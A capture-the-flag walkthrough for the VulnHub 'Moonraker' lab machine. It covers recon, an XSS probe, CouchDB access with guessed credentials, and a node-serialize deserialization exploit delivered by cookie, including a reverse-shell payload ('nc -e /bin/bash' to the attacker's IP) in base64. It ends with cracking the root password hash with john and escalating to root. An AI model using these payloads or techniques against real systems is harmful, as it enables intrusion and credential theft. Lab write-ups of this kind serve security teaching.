Details
This machine is https://www.vulnhub.com/entry/moonraker-1,264/
Recon
Find the machine
root@kali:~# nmap -T4 -sn 192.168.87.0/24
Nmap scan report for 192.168.87.1
Host is up (0.00025s latency).
MAC Address: 00:50:56:C0:00:01 (VMware)
Nmap scan report for 192.168.87.131
Host is up (0.00046s latency).
MAC Address: 00:0C:29:D0:86:69 (VMware)
Nmap scan report for 192.168.87.254
Host is up (0.00023s latency).
MAC Address: 00:50:56:F0:77:2E (VMware)
Nmap scan report for 192.168.87.128
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.04 seconds
Service hunting
root@kali:~# nmap -T4 -sV 192.168.87.131
Nmap scan report for 192.168.87.131
Host is up (0.00054s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
3000/tcp open http Node.js Express framework
4369/tcp open epmd Erlang Port Mapper Daemon
5984/tcp open couchdb?
44579/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5984-TCP:V=7.70%I=7%D=3/2%Time=5C7A8582%P=x86_64-pc-linux-gnu%r(Get
SF:Request,1A3,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:\x20must-revalidat
SF:e\r\nConnection:\x20close\r\nContent-Length:\x20164\r\nContent-Type:\x2
SF:0application/json\r\nDate:\x20Sat,\x2002\x20Mar\x202019\x2013:30:41\x20
SF:GMT\r\nServer:\x20CouchDB/2\.2\.0\x20\(Erlang\x20OTP/19\)\r\nX-Couch-Re
SF:quest-ID:\x20831f5b6e4d\r\nX-CouchDB-Body-Time:\x200\r\n\r\n{\"couchdb\
SF:":\"Welcome\",\"version\":\"2\.2\.0\",\"git_sha\":\"2a16ec4\",\"feature
SF:s\":\[\"pluggable-storage-engines\",\"scheduler\"\],\"vendor\":{\"name\
SF:":\"The\x20Apache\x20Software\x20Foundation\"}}\n")%r(HTTPOptions,16E,"
SF:HTTP/1\.0\x20500\x20Internal\x20Server\x20Error\r\nCache-Control:\x20mu
SF:st-revalidate\r\nConnection:\x20close\r\nContent-Length:\x2061\r\nConte
SF:nt-Type:\x20application/json\r\nDate:\x20Sat,\x2002\x20Mar\x202019\x201
SF:3:30:41\x20GMT\r\nServer:\x20CouchDB/2\.2\.0\x20\(Erlang\x20OTP/19\)\r\
SF:nX-Couch-Request-ID:\x20141f8efd63\r\nX-Couch-Stack-Hash:\x201828508689
SF:\r\nX-CouchDB-Body-Time:\x200\r\n\r\n{\"error\":\"unknown_error\",\"rea
SF:son\":\"badarg\",\"ref\":1828508689}\n")%r(FourOhFourRequest,146,"HTTP/
SF:1\.0\x20404\x20Object\x20Not\x20Found\r\nCache-Control:\x20must-revalid
SF:ate\r\nConnection:\x20close\r\nContent-Length:\x2058\r\nContent-Type:\x
SF:20application/json\r\nDate:\x20Sat,\x2002\x20Mar\x202019\x2013:31:34\x2
SF:0GMT\r\nServer:\x20CouchDB/2\.2\.0\x20\(Erlang\x20OTP/19\)\r\nX-Couch-R
SF:equest-ID:\x20c1a5b83f2e\r\nX-CouchDB-Body-Time:\x200\r\n\r\n{\"error\"
SF::\"not_found\",\"reason\":\"Database\x20does\x20not\x20exist\.\"}\n");
MAC Address: 00:0C:29:D0:86:69 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 160.83 seconds
Shell Hunting
I started at port 80 on http://192.168.87.131/
There are 3 links, but in the source there’s a 4th
I moved onto the services page
This indicated there was some NoSQL somewhere, and the link gave ma a url of http://192.168.87.131/svc-inq/sales.html, but first I checked the blog at http://192.168.87.131/blog.html
Then onto the cats
None of that was useful, so onto the http://192.168.87.131/svc-inq/sales.html
I filled out the form
It seemed to be writing to a file, and mentions a user checking it, so maybe I can use an XSS, I’ll start by making a test script and seeing if it gets loaded
root@kali:~# cat /var/www/test.js
console.log("Loaded");
root@kali:~# apache2ctl start
Invoking 'systemctl start apache2'.
Use 'systemctl status apache2' for more info.
And then setup my attack
Then I waited a minute and checked the logs
root@kali:~# cat /var/log/apache2/access.log
192.168.87.131 - - [02/Mar/2019:09:47:58 -0500] "GET /test.js HTTP/1.1" 200 319 "http://127.0.0.1/svc-inq/salesmoon-gui.php" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.8 Safari/534.34"
It did worked, and revealed a url of
svc-inq/salesmoon-gui.php
So I went to http://192.168.87.131/svc-inq/salesmoon-gui.php
I clicked on the back to admin link
I checked the couch notes link first
I should be able to work out the password, but first onto the Hugo one
Back to the password I go, google revealed the name of the girlfriend is “dolly”, so the password should be
dollyx99
Or some variation, so I’ll try that against couch, which nmap found on port 5984
root@kali:~# curl 192.168.87.131:5984/_all_dbs
["_replicator","_users","links"]
root@kali:~# curl 192.168.87.131:5984/links
{"error":"unauthorized","reason":"You are not authorized to access this db."}
So I try authing as jaws
root@kali:~# curl 192.168.87.131:5984/links -u jaws:dollyx99
{"db_name":"links","update_seq":"17-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXIwNDLXMwBCwxygFFMiQ5L8____sxKZ8ShKUgCSSfZgdYz41DmA1MUTNi8BpK6eoHl5LECSoQFIAZXOJ0btAoja_fjth6g9AFF7PyuRhaDaBxC1IPdmAQBokF6f","sizes":{"file":70921,"external":443,"active":2528},"purge_seq":0,"other":{"data_size":443},"doc_del_count":0,"doc_count":4,"disk_size":70921,"disk_format_version":6,"data_size":2528,"compact_running":false,"cluster":{"q":8,"n":1,"w":1,"r":1},"instance_start_time":"0"}
Dump the list
curl 192.168.87.131:5984/links/_all_docs -u jaws:dollyx99
{"total_rows":4,"offset":0,"rows":[
{"id":"10cbcebcd3dd9df29ec393b7da001f62","key":"10cbcebcd3dd9df29ec393b7da001f62","value":{"rev":"3-dc984edfbce84b76d958d1f6e581ee0b"}},
{"id":"10cbcebcd3dd9df29ec393b7da00342b","key":"10cbcebcd3dd9df29ec393b7da00342b","value":{"rev":"2-69d039d89d87e4120010f9f7268cf543"}},
{"id":"10cbcebcd3dd9df29ec393b7da0044bc","key":"10cbcebcd3dd9df29ec393b7da0044bc","value":{"rev":"2-73a30cd82ef39100bea936db4c3e2edd"}},
{"id":"10cbcebcd3dd9df29ec393b7da005ad3","key":"10cbcebcd3dd9df29ec393b7da005ad3","value":{"rev":"2-30c4839ddbb8885b57bb47688e7f9909"}}
]}
And then query them one by one
root@kali:~# curl 192.168.87.131:5984/links/10cbcebcd3dd9df29ec393b7da001f62 -u jaws:dollyx99
{"_id":"10cbcebcd3dd9df29ec393b7da001f62","_rev":"3-dc984edfbce84b76d958d1f6e581ee0b","desc":"Cat Photo Gallery","link":"/cats/cats-gallery.html"}
root@kali:~# curl 192.168.87.131:5984/links/10cbcebcd3dd9df29ec393b7da00342b -u jaws:dollyx99
{"_id":"10cbcebcd3dd9df29ec393b7da00342b","_rev":"2-69d039d89d87e4120010f9f7268cf543","desc":"Security Camera Clips on Moonraker station","link":"/surv-cam/recent.html"}
root@kali:~# curl 192.168.87.131:5984/links/10cbcebcd3dd9df29ec393b7da0044bc -u jaws:dollyx99
{"_id":"10cbcebcd3dd9df29ec393b7da0044bc","_rev":"2-73a30cd82ef39100bea936db4c3e2edd","desc":"HR Forms","link":"/HR-Confidential/offer-letters.html"}
root@kali:~# curl 192.168.87.131:5984/links/10cbcebcd3dd9df29ec393b7da005ad3 -u jaws:dollyx99
{"_id":"10cbcebcd3dd9df29ec393b7da005ad3","_rev":"2-30c4839ddbb8885b57bb47688e7f9909","desc":"Space Research Files","link":"/x-files/deep-space-findings.html"}
The most interesting one was
/HR-Confidential/offer-letters.html
So I went to http://192.168.87.131/HR-Confidential/offer-letters.html
And then went through each one
Lots of new creds
holly:ArchivesPistolsL2K
hugo:TempleLasersL2K
guard:FacProxsL2K
I’ll try the port 3000 now http://192.168.87.131:3000/
I use hugos creds
Now, I have the code for this from earlier
//Stuff to import
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
// Here's the function they want reviewed...
// I think it decodes the weird cookie string and runs it, prints it, sets it or idk.
app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
res.send("Stuff here then print out username.. " + escape(obj.username)");
}
} else {
res.cookie('profile', "eyJ1c2VybmFtZSI6Imh1Z28ifQ==", {
maxAge: 900000,
httpOnly: true
});
}
});
app.listen(3000);
This unserializes the cookie, having seen this before I knew it was exploitable, but I wanted to test, using https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/ I came up with the following payload, which if it worked would make a connection back to me and confirm
{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('nc 192.168.87.128 4444');\n }()"}
I needed to encode this in base64
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7XG4gXHQgcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ25jIDE5Mi4xNjguODcuMTI4IDQ0NDQnKTtcbiB9KCkifQ==
Using a cookie manager I updated my cookie to this value and then opened a listener
root@kali:~# nc -nvlp 4444
Then refreshed the page
connect to [192.168.87.128] from (UNKNOWN) [192.168.87.131] 58950
With my PoC working, I updated it to spawn a reverse shell
{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('nc -e /bin/bash 192.168.87.128 4444');\n }()"}
Which encoded to
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7XG4gXHQgcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ25jIC1lIC9iaW4vYmFzaCAxOTIuMTY4Ljg3LjEyOCA0NDQ0Jyk7XG4gfSgpIn0=
When I ran it
connect to [192.168.87.128] from (UNKNOWN) [192.168.87.131] 58954
$
A shell connected back
Root Time
$ id
uid=1001(jaws) gid=1001(jaws) groups=1001(jaws)
$ python -c "import pty;pty.spawn('/bin/bash')"
jaws@moonraker:/$
I began to ennumerate for a while, checking out the user list
jaws@moonraker:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
rtkit:x:105:109:RealtimeKit,,,:/proc:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/bin/false
messagebus:x:107:110::/var/run/dbus:/bin/false
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
speech-dispatcher:x:109:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
lightdm:x:110:113:Light Display Manager:/var/lib/lightdm:/bin/false
pulse:x:111:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
avahi:x:112:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
saned:x:113:118::/var/lib/saned:/bin/false
couchdb:x:114:121:CouchDB Administrator,,,:/opt/couchdb:/bin/bash
hugo:x:1002:1002:,42,,:/home/hugo:/bin/bash
jaws:x:1001:1001:,,,:/home/jaws:/bin/bash
moonrakertech:x:1003:1003::/home/moonrakertech:/bin/bash
postfix:x:115:122::/var/spool/postfix:/bin/false
hr:x:1000:1000:,,,:/home/hr:/bin/bash
sshd:x:116:65534::/run/sshd:/usr/sbin/nologin
sales:x:1004:1004:,,,:/home/sales:/bin/bash
jaws@moonraker:/$ cd /home
jaws@moonraker:/home$ ls -la
drwxr-xr-x 6 root root 4096 Oct 14 10:42 .
drwxr-xr-x 22 root root 4096 Sep 20 17:45 ..
drwxr-xr-x 2 hr hr 4096 Oct 5 20:24 hr
drwxr-xr-x 2 hugo hugo 4096 Oct 6 11:47 hugo
drwxr-xr-x 3 jaws jaws 4096 Oct 5 20:33 jaws
drwxr-xr-x 17 sales sales 4096 Oct 14 15:14 sales
I checked each home, but found nothing new, I eventually ended up checking the config file for couch from earlier
jaws@moonraker:/opt/couchdb/etc$ ls -la
drwxr-xr-x 4 couchdb couchdb 4096 Oct 6 11:19 .
drwxr-xr-x 9 root root 4096 Sep 20 17:45 ..
drwxr-xr-x 2 couchdb couchdb 4096 Sep 20 17:45 default.d
-rw-r----- 1 couchdb couchdb 23647 Aug 7 2018 default.ini
drwxr-xr-x 2 couchdb couchdb 4096 Sep 20 17:45 local.d
-rw-r--r-- 1 couchdb couchdb 4354 Oct 5 18:45 local.ini
-rwxrwxrwx 1 jaws jaws 122 Oct 6 11:19 local.ini.test
-rw-r--r-- 1 couchdb couchdb 1953 Aug 7 2018 vm.args
jaws@moonraker:/opt/couchdb/etc$ cat local.ini
[SNIP]
[admins]
;admin = mysecretpassword
;
;REMOVING Hugo's Admin access until front end is complete, uncomment to change -Jaws
;hugo = 321Blast0ff!!
This gave me hugos creds
hugo:321Blast0ff!!
And as ssh was open, I tried to get a nice ssh shell
root@kali:~# ssh [email protected]
[SNIP]
You have mail.
hugo@moonraker:~$
Having mail was interesting
hugo@moonraker:~$ cd /var/mail/
hugo@moonraker:/var/mail$ ls -la
drwxrwsr-x 2 root mail 4096 Mar 2 10:45 .
drwxr-xr-x 12 root root 4096 Sep 20 17:38 ..
-rw------- 1 hugo mail 2994 Oct 6 11:47 hugo
-rw------- 1 moonrakertech mail 1478 Oct 5 19:24 moonrakertech
-rw------- 1 root mail 70224 Mar 2 10:45 root
-rw------- 1 sales mail 6342 Oct 14 10:25 sales
hugo@moonraker:/var/mail$ cat hugo
From [email protected] Fri Oct 5 19:11:17 2018
Return-Path: <[email protected]>
X-Original-To: [email protected]
Delivered-To: [email protected]
Received: by moonraker.localdomain (Postfix, from userid 1003)
id 81CA720405; Fri, 5 Oct 2018 19:11:17 -0400 (EDT)
To: [email protected]
Subject: RE:Root Access
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <[email protected]>
Date: Fri, 5 Oct 2018 19:11:17 -0400 (EDT)
From: [email protected]
Mr. Hugo Drax, I don't care if you're the president of the United States, You will need to create a ticket for this request. Do you not understand the IT request process or do we need to require more mandatory online training?
From [email protected] Fri Oct 5 19:39:51 2018
Return-Path: <[email protected]>
X-Original-To: [email protected]
Delivered-To: [email protected]
Received: by moonraker.localdomain (Postfix, from userid 1003)
id DEF0A20410; Fri, 5 Oct 2018 19:39:51 -0400 (EDT)
To: [email protected]
Subject: RE:RE:RE:Root Access
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <[email protected]>
Date: Fri, 5 Oct 2018 19:39:51 -0400 (EDT)
From: [email protected]
Hugo...I'm being given a reward huh? Finally some well deserved recognition! Also this better come with a bump in pay otherwise I'm not afraid to give you a piece of my mind! See you outside of the Decompression Chamber shortly as per your request...I'm expecting the Award to be in hand as I don't like to get up from me desk.
Also your ticket has been complete. Since I'm feeling nice today, I'm including the password here in its native hash and not in the ticket. BTW this is the old password hash, the new one is the same + "VR00M" without quotes.
Have fun with the decryption process "Boss"! Haha!
root:$6$auLf9y8f$qgi63MGYQGnnk6.6ktcZIMpROPMqMXMEM7JufH1aTIApIPIZZu7yRjfIcZ1pELNoeMM7sIwCrVmMCjNYJRRGf/:17809:0:99999:7:::
From [email protected] Fri Oct 5 20:24:20 2018
Return-Path: <[email protected]>
X-Original-To: [email protected]
Delivered-To: [email protected]
Received: by moonraker.localdomain (Postfix, from userid 1000)
id 2412120452; Fri, 5 Oct 2018 20:24:20 -0400 (EDT)
To: [email protected]
Subject: Decompression Accident
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <[email protected]>
Date: Fri, 5 Oct 2018 20:24:20 -0400 (EDT)
From: [email protected]
Mr. Hugo, since you were a witness to Moonrakertech's accident, you'll have to write up a statement. Just stick to the basics like we talked about. Jaws deleted the camera footage, and there were no witnesses.
This gave me an old hash for root, and the difference between the new password and old one, so if I could crack
root:$6$auLf9y8f$qgi63MGYQGnnk6.6ktcZIMpROPMqMXMEM7JufH1aTIApIPIZZu7yRjfIcZ1pELNoeMM7sIwCrVmMCjNYJRRGf/
All I had to do was add
VR00M
So I saved the hash as crack.txt and set john on it
root@kali:~# john ./crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cyber (root)
1g 0:00:00:07 DONE (2019-03-02 10:49) 0.1355g/s 2913p/s 2913c/s 2913C/s sayangkamu..230990
Use the "--show" option to display all of the cracked passwords reliably
Session completed
I then could create the new password as being
cyberVR00M
So I could now
hugo@moonraker:/var/mail$ su
Password:
root@moonraker:/var/mail#
And grab my flag
root@moonraker:/var/mail# cd /root
root@moonraker:~# cat flag.txt
Congrats, you've stopped Hugo Drax and destroyed Moonraker Station!
\_/
|._
|'."-._.-""--.-"-.__.-'/
| \ (
| | )
| | ROOT / d2FzIGRvbGx5IHdlYXJpbmcgYnJhY2VzPw==
| / /
|.' (
|.-"-.__.-""-.__.-"-.)
|
|
|
Go to /semaj-dnob/flag-finale-007-moon/ for the finale
And the finale?
